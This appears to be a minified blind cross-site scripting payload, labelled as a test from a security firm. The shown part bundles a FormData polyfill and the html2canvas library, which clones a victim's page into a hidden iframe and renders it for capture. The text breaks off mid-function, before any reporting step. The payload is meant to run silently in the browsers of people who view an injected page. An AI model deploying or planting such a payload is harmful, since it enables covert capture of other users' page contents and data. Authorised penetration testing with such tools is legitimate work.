// Blind XSS Test. Contact info@rcesecurity.com for more information
if("undefined"!=typeof Blob&&("undefined"==typeof FormData||!FormData.prototype.keys)){let e="object"==typeof globalThis?globalThis:"object"==typeof window?window:"object"==typeof self?self:this,t=e.FormData,n=e.XMLHttpRequest&&e.XMLHttpRequest.prototype.send,o=e.Request&&e.fetch,a=e.navigator&&e.navigator.sendBeacon,s=e.Element&&e.Element.prototype,r=e.Symbol&&Symbol.toStringTag;r&&(Blob.prototype[r]||(Blob.prototype[r]="Blob"),"File"in e&&!File.prototype[r]&&(File.prototype[r]="File"));try{new File([],"")}catch(t){e.File=function(t,e,n){let o=new Blob(t,n),i=n&&void 0!==n.lastModified?new Date(n.lastModified):new Date;return Object.defineProperties(o,{name:{value:e},lastModifiedDate:{value:i},lastModified:{value:+i},toString:{value:()=>"[object File]"}}),r&&Object.defineProperty(o,r,{value:"File"}),o}}function normalizeValue([t,e,n]){return e instanceof Blob&&(e=new File([e],n,{type:e.type,lastModified:e.lastModified})),[t,e]}function ensureArgs(t,e){if(t.length<e)throw TypeError(`${e} argument required, but only ${t.length} present.`)}function normalizeArgs(t,e,n){return e instanceof Blob?[String(t),e,void 0!==n?n+"":"string"==typeof e.name?e.name:"blob"]:[String(t),String(e)]}function normalizeLinefeeds(t){return t.replace(/\r\n/g,"\n").replace(/\n/g,"\r\n")}function each(t,e){for(let n=0;n<t.length;n++)e(t[n])}class i{constructor(e){this._data=[];let n=this;e&&each(e.elements,e=>{if(e.name&&!e.disabled&&"submit"!==e.type&&"button"!==e.type&&!e.matches("form fieldset[disabled] *")){if("file"===e.type)each(e.files&&e.files.length?e.files:[new File([],"",{type:"application/octet-stream"})],r=>{n.append(e.name,r)});else if("select-multiple"===e.type||"select-one"===e.type)each(e.options,r=>{!r.disabled&&r.selected&&n.append(e.name,r.value)});else if("checkbox"===e.type||"radio"===e.type)e.checked&&n.append(e.name,e.value);else{let r="textarea"===e.type?normalizeLinefeeds(e.value):e.value;n.append(e.name,r)}}})}append(e,n,r){ensureArgs(arguments,2),this._data.push(normalizeArgs(e,n,r))}delete(e){ensureArgs(arguments,1);let n=[];e=String(e),each(this._data,r=>{r[0]!==e&&n.push(r)}),this._data=n}*entries(){for(var e=0;e<this._data.length;e++)yield normalizeValue(this._data[e])}forEach(e,n){for(let[r,o]of(ensureArgs(arguments,1),this))e.call(n,o,r,this)}get(e){ensureArgs(arguments,1);let n=this._data;e=String(e);for(let r=0;r<n.length;r++)if(n[r][0]===e)return normalizeValue(n[r])[1];return null}getAll(e){ensureArgs(arguments,1);let n=[];return e=String(e),each(this._data,r=>{r[0]===e&&n.push(normalizeValue(r)[1])}),n}has(e){ensureArgs(arguments,1),e=String(e);for(let n=0;n<this._data.length;n++)if(this._data[n][0]===e)return!0;return!1}*keys(){for(let[e]of this)yield e}set(e,n,r){ensureArgs(arguments,2),e=String(e);let o=[],i=normalizeArgs(e,n,r),s=!0;each(this._data,n=>{n[0]===e?s&&(s=!o.push(i)):o.push(n)}),s&&o.push(i),this._data=o}*values(){for(let[,e]of this)yield e}_asNative(){let e=new t;for(let[n,r]of this)e.append(n,r);return e}_blob(){let e="----formdata-polyfill-"+Math.random(),n=[];for(let[r,o]of this)n.push(`--${e}\r
    `),o instanceof Blob?n.push(`Content-Disposition: form-data; name="${r}"; filename="${o.name}"\r
    Content-Type: ${o.type||"application/octet-stream"}\r
    \r
    `,o,"\r\n"):n.push(`Content-Disposition: form-data; name="${r}"\r
    \r
    ${o}\r
    `);return n.push(`--${e}--`),new Blob(n,{type:"multipart/form-data; boundary="+e})}[Symbol.iterator](){return this.entries()}toString(){return"[object FormData]"}}if(s&&!s.matches&&(s.matches=s.matchesSelector||s.mozMatchesSelector||s.msMatchesSelector||s.oMatchesSelector||s.webkitMatchesSelector||function(t){for(var e=(this.document||this.ownerDocument).querySelectorAll(t),n=e.length;--n>=0&&e.item(n)!==this;);return n>-1}),r&&(i.prototype[r]="FormData"),n){let t=e.XMLHttpRequest.prototype.setRequestHeader;e.XMLHttpRequest.prototype.setRequestHeader=function(e,n){t.call(this,e,n),"content-type"===e.toLowerCase()&&(this._hasContentType=!0)},e.XMLHttpRequest.prototype.send=function(t){if(t instanceof i){let e=t._blob();this._hasContentType||this.setRequestHeader("Content-Type",e.type),n.call(this,e)}else n.call(this,t)}}o&&(e.fetch=function(t,e){return e&&e.body&&e.body instanceof i&&(e.body=e.body._blob()),o.call(this,t,e)}),a&&(e.navigator.sendBeacon=function(t,e){return e instanceof i&&(e=e._asNative()),a.call(this,t,e)}),e.FormData=i}!function(t,e,n){function r(t,e,n,r){return c(t,n,r,e).then(function(a){x("Document cloned");var c="["+tC+"='true']";t.querySelector(c).removeAttribute(tC);var h=a.contentWindow,u=h.document.querySelector(c),l=new td(h.document),p=new m(e,l),d=I(u),f="view"===e.type?Math.min(d.width,n):i(),g="view"===e.type?Math.min(d.height,r):s(),y=new tw(f,g,p,e);return new B(u,y,l,p,e).ready.then(function(){x("Finished rendering");var t="view"===e.type||u!==h.document.body&&u!==h.document.documentElement?o(y.canvas,d):y.canvas;return e.removeContainer&&(a.parentNode.removeChild(a),x("Cleaned up container")),t})})}function o(t,n){var r=e.createElement("canvas"),o=Math.min(t.width-1,Math.max(0,n.left)),i=Math.min(t.width,Math.max(1,n.left+n.width)),s=Math.min(t.height-1,Math.max(0,n.top)),a=Math.min(t.height,Math.max(1,n.top+n.height)),c=r.width=i-o,h=r.height=a-s;return x("Cropping canvas at:","left:",n.left,"top:",n.top,"width:",n.width,"height:",n.height),x("Resulting crop with width",c,"and height",h," with x",o,"and y",s),r.getContext("2d").drawImage(t,o,s,c,h,0,0,c,h),r}function i(){return Math.max(Math.max(e.body.scrollWidth,e.documentElement.scrollWidth),Math.max(e.body.offsetWidth,e.documentElement.offsetWidth),Math.max(e.body.clientWidth,e.documentElement.clientWidth))}function s(){return Math.max(Math.max(e.body.scrollHeight,e.documentElement.scrollHeight),Math.max(e.body.offsetHeight,e.documentElement.offsetHeight),Math.max(e.body.clientHeight,e.documentElement.clientHeight))}function a(){return"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"}function c(e,n,r,o){var i=e.documentElement.cloneNode(!0),s=e.createElement("iframe");return s.style.visibility="hidden",s.style.position="absolute",s.style.left=s.style.top="-10000px",s.width=n,s.height=r,s.scrolling="no",e.body.appendChild(s),new Promise(function(e){var n=s.contentWindow.document;s.contentWindow.onload=s.onload=function(){e(s)},n.open(),n.write("<!DOCTYPE html>"),n.close(),n.replaceChild(h(n.adoptNode(i)),n.documentElement),"view"===o.type&&s.contentWindow.scrollTo(t.pageXOffset,t.pageYOffset)})}function h(t){return[].slice.call(t.childNodes,0).filter(u).forEach(function(e){"SCRIPT"===e.tagName?t.removeChild(e):h(e)}),t}function u(t){return t.nodeType===Node.ELEMENT_NODE}function l(t){if(this.src=t,x("DummyImageContainer for",t),!this.promise||!this.image){x("Initiating DummyImageContainer"),l.prototype.image=new Image;var e=this.image;l.prototype.promise=new Promise(function(t,n){e.onload=t,e.onerror=n,e.src=a(),!0===e.complete&&t(e)})}}function p(t,n){var r,o,i=e.createElement("div"),s=e.createElement("img"),c=e.createElement("span"),h="Hidden Text";i.style.visibility="hidden",i.style.fontFamily=t,i.style.fontSize=n,i.style.margin=0,i.style.padding=0,e.body.appendChild(i),s.src=a(),s.width=1,s.height=1,s.style.margin=0,s.style.padding=0,s.style.verticalAlign="baseline",c.style.fontFamily=t,c.style.fontSize=n,c.style.margin=0,c.style.padding=0,c.appendChild(e.createTextNode(h)),i.appendChild(c),i.appendChild(s),r=s.offsetTop-c.offsetTop+1,i.removeChild(c),i.appendChild(e.createTextNode(h)),i.style.lineHeight="normal",s.style.verticalAlign="super",o=s.offsetTop-i.offsetTop+1,e.body.removeChild(i),this.baseline=r,this.lineWidth=1,this.middle=o}function d(){this.data={}}function f(t){this.src=t.value,this.colorStops=[],this.type=null,this.x0=.5,this.y0=.5,this.x1=.5,this.y1=.5,this.promise=Promise.resolve(!0)}function g(t,e){this.src=t,this.image=new Image;var n=this;this.tainted=null,this.promise=new Promise(function(r,o){n.image.onload=r,n.image.onerror=o,e&&(n.image.crossOrigin="anonymous"),n.image.src=t,!0===n.image.complete&&r(n.image)}).catch(function(){return new l(t).promise.then(function(t){n.image=t})})}function m(e,n){this.link=null,this.options=e,this.support=n,this.origin=t.location.protocol+t.location.hostname+t.location.port}function y(t){return"IMG"===t.node.nodeName}function $(t){return"svg"===t.node.nodeName}function v(t){return{args:[t.node.src],method:"url"}}function b(t){return{args:[t.node],method:"svg"}}function w(t){f.apply(this,arguments),this.type=this.TYPES.LINEAR;var e=null===t.args[0].match(this.stepRegExp);e?t.args[0].split(" ").reverse().forEach(function(t){switch(t){case"left":this.x0=0,this.x1=1;break;case"top":this.y0=0,this.y1=1;break;case"right":this.x0=1,this.x1=0;break;case"bottom":this.y0=1,this.y1=0;break;case"to":var e=this.y0,n=this.x0;this.y0=this.y1,this.x0=this.x1,this.x1=n,this.y1=e;break;default:var r=t.match(this.angleRegExp);if(r&&"deg"===r[2]){var o,i,s=Math.tan(parseFloat(r[1])/(180/Math.PI));this.y0=2/Math.tan(s)/2,this.x0=0,this.x1=1,this.y1=0}}},this):(this.y0=0,this.y1=1),this.colorStops=t.args.slice(e?1:0).map(function(t){var e=t.match(this.stepRegExp);return{color:e[1],stop:"%"===e[3]?e[2]/100:null}},this),null===this.colorStops[0].stop&&(this.colorStops[0].stop=0),null===this.colorStops[this.colorStops.length-1].stop&&(this.colorStops[this.colorStops.length-1].stop=1),this.colorStops.forEach(function(t,e){null===t.stop&&this.colorStops.slice(e).some(function(n,r){return null!==n.stop&&(t.stop=(n.stop-this.colorStops[e-1].stop)/(r+1)+this.colorStops[e-1].stop,!0)},this)},this)}function x(){t.html2canvas.logging&&t.console&&t.console.log&&Function.prototype.bind.call(t.console.log,t.console).apply(t.console,[Date.now()-t.html2canvas.start+"ms","html2canvas:"].concat([].slice.call(arguments,0)))}function _(t,e){this.node=t,this.parent=e,this.stack=null,this.bounds=null,this.offsetBounds=null,this.visible=null,this.computedStyles=null,this.styles={},this.backgroundImages=null,this.transformData=null,this.transformMatrix=null}function E(t){var e=t.options[t.selectedIndex||0];return e&&e.text||""}function T(t){return t&&"matrix"===t[1]?t[2].split(",").map(function(t){return parseFloat(t.trim())}):void 0}function k(t){return -1!==t.toString().indexOf("%")}function C(t){var e,n,r,o,i,s,a,c=" \r\n  ",h=[],u=0,l=0,p=function(){e&&('"'===n.substr(0,1)&&(n=n.substr(1,n.length-2)),n&&a.push(n),"-"===e.substr(0,1)&&(o=e.indexOf("-",1)+1)>0&&(r=e.substr(0,o),e=e.substr(o)),h.push({prefix:r,method:e.toLowerCase(),value:i,args:a,image:null})),a=[],e=r=n=i=""};return a=[],e=r=n=i="",t.split("").forEach(function(t){if(!(0===u&&c.indexOf(t)>-1)){switch(t){case'"':s?s===t&&(s=null):s=t;break;case"(":if(s)break;if(0===u)return u=1,void(i+=t);l++;break;case")":if(s)break;if(1===u){if(0===l)return u=0,i+=t,void p();l--}break;case",":if(s)break;if(0===u)return void p();if(1===u&&0===l&&!e.match(/^url$/i))return a.push(n),n="",void(i+=t)}i+=t,0===u?e+=t:n+=t}}),p(),h}function S(t){return t.replace("px","")}function R(t){return parseFloat(t)}function I(t){if(t.getBoundingClientRect){var e=t.getBoundingClientRect(),n="BODY"===t.nodeName,r=n?t.scrollWidth:null==t.offsetWidth?e.width:t.offsetWidth;return{top:e.top,bottom:e.bottom||e.top+e.height,right:e.left+r,left:e.left,width:r,height:n?t.scrollHeight:null==t.offsetHeight?e.height:t.offsetHeight}}return{}}function O(t){var e=t.offsetParent?O(t.offsetParent):{top:0,left:0};return{top:t.offsetTop+e.top,bottom:t.offsetTop+t.offsetHeight+e.top,right:t.offsetLeft+e.left+t.offsetWidth,left:t.offsetLeft+e.left,width:t.offsetWidth,height:t.offsetHeight}}function B(t,e,n,r,o){x("Starting NodeParser"),this.renderer=e,this.options=o,this.range=null,this.support=n,this.renderQueue=[],this.stack=new tp(!0,1,t.ownerDocument,null);var i=new _(t,null);t!==t.ownerDocument.documentElement&&this.renderer.isTransparent(i.css("backgroundColor"))&&e.rectangle(0,0,e.width,e.height,new _(t.ownerDocument.documentElement,null).css("backgroundColor")),i.visibile=i.isElementVisible(),this.createPseudoHideStyles(t.ownerDocument),this.nodes=tc([i].concat(this.getChildren(i)).filter(function(t){return t.visible=t.isElementVisible()}).map(this.getPseudoElements,this)),this.fontMetrics=new d,x("Fetched nodes"),this.images=r.fetch(this.nodes.filter(tt)),x("Creating stacking contexts"),this.createStackingContexts(),x("Sorting stacking contexts"),this.sortStackingContexts(this.stack),this.ready=this.images.ready.then(to(function(){return x("Images loaded, starting parsing"),this.parse(this.stack),x("Render queue created with "+this.renderQueue.length+" items"),new Promise(to(function(t){o.async?"function"==typeof o.async?o.async.call(this,this.renderQueue,t):(this.renderIndex=0,this.asyncRenderer(this.renderQueue,t)):(this.renderQueue.forEach(this.paint,this),t())},this))},this))}function A(t){return t.replace(/(\-[a-z])/g,function(t){return t.toUpperCase().replace("-","")})}function L(){}function P(t,e,n,r){var o=4*((Math.sqrt(2)-1)/3),i=n*o,s=r*o,a=t+n,c=e+r;return{topLeft:N({x:t,y:c},{x:t,y:c-s},{x:a-i,y:e},{x:a,y:e}),topRight:N({x:t,y:e},{x:t+i,y:e},{x:a,y:c-s},{x:a,y:c}),bottomRight:N({x:a,y:e},{x:a,y:e+s},{x:t+i,y:c},{x:t,y:c}),bottomLeft:N({x:a,y:c},{x:a-i,y:c},{x:t,y:e+s},{x:t,y:e})}}function D(t,e,n){var r=t.left,o=t.top,i=t.width,s=t.height,a=e[0][0],c=e[0][1],h=e[1][0],u=e[1][1],l=e[2][0],p=e[2][1],d=e[3][0],f=e[3][1],g=i-h,m=s-p,y=i-l,$=s-f;return{topLeftOuter:P(r,o,a,c).topLeft.subdivide(.5),topLeftInner:P(r+n[3].width,o+n[0].width,Math.max(0,a-n[3].width),Math.max(0,c-n[0].width)).topLeft.subdivide(.5),topRightOuter:P(r+g,o,h,u).topRight.subdivide(.5),topRightInner:P(r+Math.min(g,i+n[3].width),o+n[0].width,g>i+n[3].width?0:h-n[3].width,u-n[0].width).topRight.subdivide(.5),bottomRightOuter:P(r+y,o+m,l,p).bottomRight.subdivide(.5),bottomRightInner:P(r+Math.min(y,i+n[3].width),o+Math.min(m,s+n[0].width),Math.max(0,l-n[1].width),Math.max(0,p-n[2].width)).bottomRight.subdivide(.5),bottomLeftOuter:P(r,o+$,d,f).bottomLeft.subdivide(.5),bottomLeftInner:P(r+n[3].width,o+$,Math.max(0,d-n[3].width),Math.max(0,f-n[2].width)).bottomLeft.subdivide(.5)}}function N(t,e,n,r){var o=function(t,e,n){return{x:t.x+(e.x-t.x)*n,y:t.y+(e.y-t.y)*n}};return{start:t,startControl:e,endControl:n,end:r,subdivide:function(i){var s=o(t,e,i),a=o(e,n,i),c=o(n,r,i),h=o(s,a,i),u=o(a,c,i),l=o(h,u,i);return[N(t,s,h,l),N(l,u,c,r)]},curveTo:function(t){t.push(["bezierCurve",e.x,e.y,n.x,n.y,r.x,r.y])},curveToReversed:function(r){r.push(["bezierCurve",n.x,n.y,e.x,e.y,t.x,t.y])}}}function F(t,e,n,r,o,i,s){var a=[];return e[0]>0||e[1]>0?(a.push(["line",r[1].start.x,r[1].start.y]),r[1].curveTo(a)):a.push(["line",t.c1[0],t.c1[1]]),n[0]>0||n[1]>0?(a.push(["line",i[0].start.x,i[0].start.y]),i[0].curveTo(a),a.push(["line",s[0].end.x,s[0].end.y]),s[0].curveToReversed(a)):(a.push(["line",t.c2[0],t.c2[1]]),a.push(["line",t.c3[0],t.c3[1]])),e[0]>0||e[1]>0?(a.push(["line",o[1].end.x,o[1].end.y]),o[1].curveToReversed(a)):a.push(["line",t.c4[0],t.c4[1]]),a}function M(t,e,n,r,o,i,s){e[0]>0||e[1]>0?(t.push(["line",r[0].start.x,r[0].start.y]),r[0].curveTo(t),r[1].curveTo(t)):t.push(["line",i,s]),(n[0]>0||n[1]>0)&&t.push(["line",o[0].start.x,o[0].start.y])}function H(t){return 0>t.cssInt("zIndex")}function W(t){return t.cssInt("zIndex")>0}function j(t){return 0===t.cssInt("zIndex")}function V(t){return -1!==["inline","inline-block","inline-table"].indexOf(t.css("display"))}function z(t){return t instanceof tp}function X(t){return t.node.data.trim().length>0}function Y(t){return/^(normal|none|0px)$/.test(t.parent.css("letterSpacing"))}function G(t){return["TopLeft","TopRight","BottomRight","BottomLeft"].map(function(e){var n=t.css("border"+e+"Radius").split(" ");return n.length<=1&&(n[1]=n[0]),n.map(ti)})}function q(t){return t.nodeType===Node.TEXT_NODE||t.nodeType===Node.ELEMENT_NODE}function U(t){var e=t.css("position");return"auto"!==("absolute"===e||"relative"===e?t.css("zIndex"):"auto")}function Q(t){return"static"!==t.css("position")}function J(t){return"none"!==t.css("float")}function K(t){return -1!==["inline-block","inline-table"].indexOf(t.css("display"))}function Z(t){var e=this;return function(){return!t.apply(e,arguments)}}function tt(t){return t.node.nodeType===Node.ELEMENT_NODE}function te(t){return t.node.nodeType===Node.TEXT_NODE}function tn(t,e){return t.cssInt("zIndex")-e.cssInt("zIndex")}function tr(t){return 1>t.css("opacity")}function to(t,e){return function(){return t.apply(e,arguments)}}function ti(t){return parseInt(t,10)}function ts(t){return t.width}function ta(t){return t.node.nodeType!==Node.ELEMENT_NODE||-1===["SCRIPT","HEAD","TITLE","OBJECT","BR","OPTION"].indexOf(t.node.nodeName)}function tc(t){return[].concat.apply([],t)}function th(t){var e=t.substr(0,1);return e===t.substr(t.length-1)&&e.match(/'|"/)?t.substr(1,t.length-2):t}function tu(r,o){var i="html2canvas_"+tS++,s=e.createElement("script"),a=e.createElement("a");a.href=r,r=a.href;var c=o+(o.indexOf("?")>-1?"&":"?")+"url="+encodeURIComponent(r)+"&callback="+i;this.src=r,this.image=new Image;var h=this;this.promise=new Promise(function(r,o){h.image.onload=r,h.image.onerror=o,t[i]=function(e){"error:"===e.substring(0,6)?o():h.image.src=e,t[i]=n;try{delete t[i]}catch(r){}s.parentNode.removeChild(s)},s.setAttribute("type","text/javascript"),s.setAttribute("src",c),e.body.appendChild(s)}).catch(function(){return new l(r).promise.then(function(t){h.image=t})})}function tl(t,e,n,r){this.width=t,this.height=e,this.images=n,this.options=r}function tp(t,e,n,r){_.call(this,n,r),this.ownStacking=t,this.contexts=[],this.children=[],this.opacity=(this.parent?this.parent.stack.opacity:1)*e}function td(t){this.rangeBounds=this.testRangeBounds(t),this.cors=this.testCORS(),this.svg=this.testSVG()}function tf(t){this.src=t,this.image=null;var e=this;this.promise=this.hasFabric().then(function(){return e.isInline(t)?Promise.resolve(e.inlineFormatting(t)):tb(t)}).then(function(t){return new Promise(function(n){html2canvas.fabric.loadSVGFromString(t,e.createCanvas.call(e,n))})})}function tg(t){var e,n,r,o,i,s,a,c,h="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",u=t.length,l="";for(e=0;u>e;e+=4)n=h.indexOf(t[e]),r=h.indexOf(t[e+1]),o=h.indexOf(t[e+2]),i=h.indexOf(t[e+3]),s=n<<2|r>>4,a=(15&r)<<4|o>>2,c=(3&o)<<6|i,l+=64===o?String.fromCharCode(s):64===i||-1===i?String.fromCharCode(s,a):String.fromCharCode(s,a,c);return l}function tm(t){this.src=t,this.image=null;var e=this;this.promise=this.hasFabric().then(function(){return new Promise(function(n){html2canvas.fabric.parseSVGDocument(t,e.createCanvas.call(e,n))})})}function ty(t,e){_.call(this,t,e)}function t$(t,e,n){return t.length>0?e+n.toUpperCase():void 0}function tv(t){f.apply(this,arguments),this.type="linear"===t.args[0]?this.TYPES.LINEAR:this.TYPES.RADIAL}function tb(t){return new Promise(function(e,n){var r=new XMLHttpRequest;r.open("GET",t),r.onload=function(){200===r.status?e(r.responseText):n(Error(r.statusText))},r.onerror=function(){n(Error("Network Error"))},r.send()})}function tw(t,n){tl.apply(this,arguments),this.canvas=e.createElement("canvas"),this.canvas.width=t,this.canvas.height=n,this.ctx=this.canvas.getContext("2d"),this.taintCtx=e.createElement("canvas").getContext("2d"),this.ctx.textBaseline="bottom",this.variables={},x("Initialized CanvasRenderer")}if(t8={},tk={},tx=function(t,e,n){t8[t]={deps:e,callback:n}},tT=tE=t_=function(t){function e(e){if("."!==e.charAt(0))return e;for(var n=e.split("/"),r=t.split("/").slice(0,-1),o=0,i=n.length;i>o;o++){var s=n[o];if(".."===s)r.pop();else{if("."===s)continue;r.push(s)}}return r.join("/")}if(tT._eak_seen=t8,tk[t])return tk[t];if(tk[t]={},!t8[t])throw Error("Could not find module "+t);for(var n,r=t8[t],o=r.deps,i=r.callback,s=[],a=0,c=o.length;c>a;a++)s.push("exports"===o[a]?n={}:t_(e(o[a])));var h=i.apply(this,s);return tk[t]=n||h},tx("promise/all",["./utils","exports"],function(t,e){"use strict";function n(t){var e=this;if(!r(t))throw TypeError("You must pass an array to all.");return new e(function(e,n){function r(t){return function(e){i(t,e)}}function i(t,n){a[t]=n,0==--c&&e(a)}var s,a=[],c=t.length;0===c&&e([]);for(var h=0;h<t.length;h++)(s=t[h])&&o(s.then)?s.then(r(h),n):i(h,s)})}var r=t.isArray,o=t.isFunction;e.all=n}),tx("promise/asap",["exports"],function(n){"use strict";function r(){return function(){process.nextTick(s)}}function o(){var t=0,n=new u(s),r=e.createTextNode("");return n.observe(r,{characterData:!0}),function(){r.data=t=++t%2}}function i(){return function(){l.setTimeout(s,1)}}function s(){for(var t=0;t<p.length;t++){var e,n=p[t];(0,n[0])(n[1])}p=[]}function a(t,e){1===p.push([t,e])&&c()}var c,h=void 0!==t?t:{},u=h.MutationObserver||h.WebKitMutationObserver,l="undefined"!=typeof global?global:this,p=[];c="undefined"!=typeof process&&"[object process]"===({}).toString.call(process)?r():u?o():i(),n.asap=a}),tx("promise/cast",["exports"],function(t){"use strict";function e(t){if(t&&"object"==typeof t&&t.constructor===this)return t;var e=this;return new e(function(e){e(t)})}t.cast=e}),tx("promise/config",["exports"],function(t){"use strict";function e(t,e){return 2!==arguments.length?n[t]:void(n[t]=e)}var n={instrument:!1};t.config=n,t.configure=e}),tx("promise/polyfill",["./promise","./utils","exports"],function(e,n,r){"use strict";function o(){var e;"Promise"in t&&"cast"in t.Promise&&"resolve"in t.Promise&&"reject"in t.Promise&&"all"in t.Promise&&"race"in t.Promise&&(new t.Promise(function(t){e=t}),s(e))||(t.Promise=i)}var i=e.Promise,s=n.isFunction;r.polyfill=o}),tx("promise/promise",["./config","./utils","./cast","./all","./race","./resolve","./reject","./asap","exports"],function(t,e,n,r,o,i,s,a,c){"use strict";function h(t){if(!x(t))throw TypeError("You must pass a resolver function as the first argument to the promise constructor");if(!(this instanceof h))throw TypeError("Failed to construct 'Promise': Please use the 'new' operator, this object constructor cannot be called as a function.");this._subscribers=[],u(t,this)}function u(t,e){function n(t){g(e,t)}function r(t){y(e,t)}try{t(n,r)}catch(o){r(o)}}function l(t,e,n,r){var o,i,s,a,c=x(n);if(c)try{o=n(r),s=!0}catch(h){a=!0,i=h}else o=r,s=!0;f(e,o)||(c&&s?g(e,o):a?y(e,i):t===O?g(e,o):t===B&&y(e,o))}function p(t,e,n,r){var o=t._subscribers,i=o.length;o[i]=e,o[i+O]=n,o[i+B]=r}function d(t,e){for(var n,r,o=t._subscribers,i=t._detail,s=0;s<o.length;s+=3)n=o[s],r=o[s+e],l(e,n,r,i);t._subscribers=null}function f(t,e){var n,r=null;try{if(t===e)throw TypeError("A promises callback cannot return that same promise.");if(w(e)&&(r=e.then,x(r)))return r.call(e,function(r){return!!n||(n=!0,void(e!==r?g(t,r):m(t,r)))},function(e){return!!n||(n=!0,void y(t,e))}),!0}catch(o){return!!n||(y(t,o),!0)}return!1}function g(t,e){t===e?m(t,e):f(t,e)||m(t,e)}function m(t,e){t._state===R&&(t._state=I,t._detail=e,b.async($,t))}function y(t,e){t._state===R&&(t._state=I,t._detail=e,b.async(v,t))}function $(t){d(t,t._state=O)}function v(t){d(t,t._state=B)}var b=t.config,w=(t.configure,e.objectOrFunction),x=e.isFunction,_=(e.now,n.cast),E=r.all,T=o.race,k=i.resolve,C=s.reject,S=a.asap;b.async=S;var R=void 0,I=0,O=1,B=2;h.prototype={constructor:h,_state:void 0,_detail:void 0,_subscribers:void 0,then:function(t,e){var n=this,r=new this.constructor(function(){});if(this._state){var o=arguments;b.async(function(){l(n._state,r,o[n._state-1],n._detail)})}else p(this,r,t,e);return r},catch:function(t){return this.then(null,t)}},h.all=E,h.cast=_,h.race=T,h.resolve=k,h.reject=C,c.Promise=h}),tx("promise/race",["./utils","exports"],function(t,e){"use strict";function n(t){var e=this;if(!r(t))throw TypeError("You must pass an array to race.");return new e(function(e,n){for(var r,o=0;o<t.length;o++)(r=t[o])&&"function"==typeof r.then?r.then(e,n):e(r)})}var r=t.isArray;e.race=n}),tx("promise/reject",["exports"],function(t){"use strict";function e(t){var e=this;return new e(function(e,n){n(t)})}t.reject=e}),tx("promise/resolve",["exports"],function(t){"use strict";function e(t){var e=this;return new e(function(e){e(t)})}t.resolve=e}),tx("promise/utils",["exports"],function(t){"use strict";function e(t){return n(t)||"object"==typeof t&&null!==t}function n(t){return"function"==typeof t}function r(t){return"[object Array]"===Object.prototype.toString.call(t)}var o=Date.now||function(){return(new Date).getTime()};t.objectOrFunction=e,t.isFunction=n,t.isArray=r,t.now=o}),t_("promise/polyfill").polyfill(),"function"!=typeof Object.create||"function"!=typeof e.createElement("canvas").getContext)return void(t.html2canvas=function(){return Promise.reject("No canvas support")});var tx,t_,tE,tT,t8,tk,tC="data-html2canvas-node";t.html2canvas=function(o,i){(i=i||{}).logging&&(t.html2canvas.logging=!0,t.html2canvas.start=Date.now()),i.async=void 0===i.async||i.async,i.allowTaint=void 0!==i.allowTaint&&i.allowTaint,i.removeContainer=void 0===i.removeContainer||i.removeContainer;var s=(o===n?[e.documentElement]:o.length?o:[o])[0];return s.setAttribute(tC,"true"),r(s.ownerDocument,i,t.innerWidth,t.innerHeight).then(function(t){return"function"==typeof i.onrendered&&(x("options.onrendered is deprecated, html2canvas returns a Promise containing the canvas"),i.onrendered(t)),t})},d.prototype.getMetrics=function(t,e){return this.data[t+"-"+e]===n&&(this.data[t+"-"+e]=new p(t,e)),this.data[t+"-"+e]},f.prototype.TYPES={LINEAR:1,RADIAL:2},f.prototype.angleRegExp=/([+-]?\d*\.?\d+)(deg|grad|rad|turn)/,m.prototype.findImages=function(t){var e=[];return t.filter(y).map(v).forEach(this.addImage(e,this.loadImage),this),t.filter($).map(b).forEach(this.addImage(e,this.loadImage),this),e},m.prototype.findBackgroundImage=function(t,e){return e.parseBackgroundImages().filter(this.hasImageBackground).forEach(this.addImage(t,this.loadImage),this),t},m.prototype.addImage=function(t,e){return function(n){n.args.forEach(function(r){this.imageExists(t,r)||(t.splice(0,0,e.call(this,n)),x("Added image #"+t.length,"string"==typeof r?r.substring(0,100):r))},this)}},m.prototype.hasImageBackground=function(t){return"none"!==t.method},m.prototype.loadImage=function(t){if("url"===t.method){var e=t.args[0];return!this.isSVG(e)||this.support.svg||this.options.allowTaint?e.match(/data:image\/.*;base64,/i)?new g(e.replace(/url\(['"]{0,}|['"]{0,}\)$/gi,""),!1):this.isSameOrigin(e)||!0===this.options.allowTaint||this.isSVG(e)?new g(e,!1):this.support.cors&&!this.options.allowTaint&&this.options.useCORS?new g(e,!0):this.options.proxy?new tu(e,this.options.proxy):new l(e):new tf(e)}return"linear-gradient"===t.method?new w(t):"gradient"===t.method?new tv(t):"svg"===t.method?new tm(t.args[0]):new l(t)},m.prototype.isSVG=function(t){return/(.+).svg$/i.test(t)||tf.prototype.isInline(t)},m.prototype.imageExists=function(t,e){return t.some(function(t){return t.src===e})},m.prototype.isSameOrigin=function(t){var n=this.link||(this.link=e.createElement("a"));return n.href=t,n.href=n.href,n.protocol+n.hostname+n.port===this.origin},m.prototype.getPromise=function(t){return t.promise},m.prototype.get=function(t){var e=null;return this.images.some(function(n){return(e=n).src===t})?e:null},m.prototype.fetch=function(t){return this.images=t.reduce(to(this.findBackgroundImage,this),this.findImages(t)),this.images.forEach(function(t,e){t.promise.then(function(){x("Succesfully loaded image #"+(e+1))},function(){x("Failed loading image #"+(e+1))})}),this.ready=Promise.all(this.images.map(this.getPromise)),x("Finished searching images"),this},w.prototype=Object.create(f.prototype),w.prototype.stepRegExp=/((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\))\s*(\d{1,3})?(%|px)?/,_.prototype.assignStack=function(t){this.stack=t,t.children.push(this)},_.prototype.isElementVisible=function(){return this.node.nodeType===Node.TEXT_NODE?this.parent.visible:"none"!==this.css("display")&&"hidden"!==this.css("visibility")&&!this.node.hasAttribute("data-html2canvas-ignore")},_.prototype.css=function(t){return this.computedStyles||(this.computedStyles=this.computedStyle(null)),this.styles[t]||(this.styles[t]=this.computedStyles[t])},_.prototype.prefixedCss=function(t){var e=["webkit","moz","ms","o"],r=this.css(t);return r===n&&e.some(function(e){return(r=this.css(e+t.substr(0,1).toUpperCase()+t.substr(1)))!==n},this),r===n?null:r},_.prototype.computedStyle=function(t){return this.node.ownerDocument.defaultView.getComputedStyle(this.node,t)},_.prototype.cssInt=function(t){var e=parseInt(this.css(t),10);return isNaN(e)?0:e},_.prototype.cssFloat=function(t){var e=parseFloat(this.css(t));return isNaN(e)?0:e},_.prototype.fontWeight=function(){var t=this.css("fontWeight");switch(parseInt(t,10)){case 401:t="bold";break;case 400:t="normal"}return 